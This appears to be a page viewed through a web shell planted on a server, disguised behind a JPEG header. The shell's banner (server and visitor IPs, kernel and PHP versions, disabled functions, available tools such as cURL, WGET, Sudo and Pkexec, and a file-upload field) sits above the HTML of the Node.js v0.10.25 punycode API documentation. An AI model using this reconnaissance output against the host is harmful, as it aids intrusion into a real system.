????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.188.90.83 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/share/doc/nodejs/api/ |
Upload File : |
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>punycode Node.js v0.10.25 Manual & Documentation</title> <link rel="stylesheet" href="assets/style.css"> <link rel="stylesheet" href="assets/sh.css"> <link rel="canonical" href="http://nodejs.org/api/punycode.html"> </head> <body class="alt apidoc" id="api-section-punycode"> <div id="intro" class="interior"> <a href="/" title="Go back to the home page"> <img id="logo" src="http://nodejs.org/images/logo-light.png" alt="node.js"> </a> </div> <div id="content" class="clearfix"> <div id="column2" class="interior"> <ul> <li><a href="/" class="home">Home</a></li> <li><a href="/download/" class="download">Download</a></li> <li><a href="/about/" class="about">About</a></li> <li><a href="http://npmjs.org/" class="npm">npm Registry</a></li> <li><a href="http://nodejs.org/api/" class="docs current">Docs</a></li> <li><a href="http://blog.nodejs.org" class="blog">Blog</a></li> <li><a href="/community/" class="community">Community</a></li> <li><a href="/logos/" class="logos">Logos</a></li> <li><a href="http://jobs.nodejs.org/" class="jobs">Jobs</a></li> </ul> <p class="twitter"><a href="http://twitter.com/nodejs">@nodejs</a></p> </div> <div id="column1" class="interior"> <header> <h1>Node.js v0.10.25 Manual & Documentation</h1> <div id="gtoc"> <p> <a href="index.html" name="toc">Index</a> | <a href="all.html">View on single page</a> | <a href="punycode.json">View as JSON</a> </p> </div> <hr> </header> <div id="toc"> <h2>Table of Contents</h2> <ul> <li><a href="#punycode_punycode">punycode</a><ul> <li><a href="#punycode_punycode_decode_string">punycode.decode(string)</a></li> <li><a href="#punycode_punycode_encode_string">punycode.encode(string)</a></li> <li><a href="#punycode_punycode_tounicode_domain">punycode.toUnicode(domain)</a></li> <li><a href="#punycode_punycode_toascii_domain">punycode.toASCII(domain)</a></li> <li><a href="#punycode_punycode_ucs2">punycode.ucs2</a><ul> <li><a href="#punycode_punycode_ucs2_decode_string">punycode.ucs2.decode(string)</a></li> <li><a href="#punycode_punycode_ucs2_encode_codepoints">punycode.ucs2.encode(codePoints)</a></li> </ul> </li> <li><a href="#punycode_punycode_version">punycode.version</a></li> </ul> </li> </ul> </div> <div id="apicontent"> <h1>punycode<span><a class="mark" href="#punycode_punycode" id="punycode_punycode">#</a></span></h1> <pre class="api_stability_2">Stability: 2 - Unstable</pre><p><a href="http://mths.be/punycode">Punycode.js</a> is bundled with Node.js v0.6.2+. Use <code>require('punycode')</code> to access it. (To use it with other Node.js versions, use npm to install the <code>punycode</code> module first.) </p> <h2>punycode.decode(string)<span><a class="mark" href="#punycode_punycode_decode_string" id="punycode_punycode_decode_string">#</a></span></h2> <p>Converts a Punycode string of ASCII code points to a string of Unicode code points. </p> <pre><code>// decode domain name parts punycode.decode('maana-pta'); // 'mañana' punycode.decode('--dqo34k'); // '☃-⌘'</code></pre> <h2>punycode.encode(string)<span><a class="mark" href="#punycode_punycode_encode_string" id="punycode_punycode_encode_string">#</a></span></h2> <p>Converts a string of Unicode code points to a Punycode string of ASCII code points. </p> <pre><code>// encode domain name parts punycode.encode('mañana'); // 'maana-pta' punycode.encode('☃-⌘'); // '--dqo34k'</code></pre> <h2>punycode.toUnicode(domain)<span><a class="mark" href="#punycode_punycode_tounicode_domain" id="punycode_punycode_tounicode_domain">#</a></span></h2> <p>Converts a Punycode string representing a domain name to Unicode. Only the Punycoded parts of the domain name will be converted, i.e. it doesn't matter if you call it on a string that has already been converted to Unicode. </p> <pre><code>// decode domain names punycode.toUnicode('xn--maana-pta.com'); // 'mañana.com' punycode.toUnicode('xn----dqo34k.com'); // '☃-⌘.com'</code></pre> <h2>punycode.toASCII(domain)<span><a class="mark" href="#punycode_punycode_toascii_domain" id="punycode_punycode_toascii_domain">#</a></span></h2> <p>Converts a Unicode string representing a domain name to Punycode. Only the non-ASCII parts of the domain name will be converted, i.e. it doesn't matter if you call it with a domain that's already in ASCII. </p> <pre><code>// encode domain names punycode.toASCII('mañana.com'); // 'xn--maana-pta.com' punycode.toASCII('☃-⌘.com'); // 'xn----dqo34k.com'</code></pre> <h2>punycode.ucs2<span><a class="mark" href="#punycode_punycode_ucs2" id="punycode_punycode_ucs2">#</a></span></h2> <h3>punycode.ucs2.decode(string)<span><a class="mark" href="#punycode_punycode_ucs2_decode_string" id="punycode_punycode_ucs2_decode_string">#</a></span></h3> <p>Creates an array containing the decimal code points of each Unicode character in the string. While <a href="http://mathiasbynens.be/notes/javascript-encoding">JavaScript uses UCS-2 internally</a>, this function will convert a pair of surrogate halves (each of which UCS-2 exposes as separate characters) into a single code point, matching UTF-16. </p> <pre><code>punycode.ucs2.decode('abc'); // [97, 98, 99] // surrogate pair for U+1D306 tetragram for centre: punycode.ucs2.decode('\uD834\uDF06'); // [0x1D306]</code></pre> <h3>punycode.ucs2.encode(codePoints)<span><a class="mark" href="#punycode_punycode_ucs2_encode_codepoints" id="punycode_punycode_ucs2_encode_codepoints">#</a></span></h3> <p>Creates a string based on an array of decimal code points. </p> <pre><code>punycode.ucs2.encode([97, 98, 99]); // 'abc' punycode.ucs2.encode([0x1D306]); // '\uD834\uDF06'</code></pre> <h2>punycode.version<span><a class="mark" href="#punycode_punycode_version" id="punycode_punycode_version">#</a></span></h2> <p>A string representing the current Punycode.js version number. </p> </div> </div> </div> <div id="footer"> <a href="http://joyent.com" class="joyent-logo">Joyent</a> <ul class="clearfix"> <li><a href="/">Node.js</a></li> <li><a href="/download/">Download</a></li> <li><a href="/about/">About</a></li> <li><a href="http://npmjs.org/">npm Registry</a></li> <li><a href="http://nodejs.org/api/">Docs</a></li> <li><a href="http://blog.nodejs.org">Blog</a></li> <li><a href="/community/">Community</a></li> <li><a href="/logos/">Logos</a></li> <li><a href="http://jobs.nodejs.org/">Jobs</a></li> <li><a href="http://twitter.com/nodejs" class="twitter">@nodejs</a></li> </ul> <p>Copyright <a href="http://joyent.com/">Joyent, Inc</a>, Node.js is a <a href="/trademark-policy.pdf">trademark</a> of Joyent, Inc. View <a href="https://raw.github.com/joyent/node/v0.10.25/LICENSE">license</a>.</p> </div> </body> </html>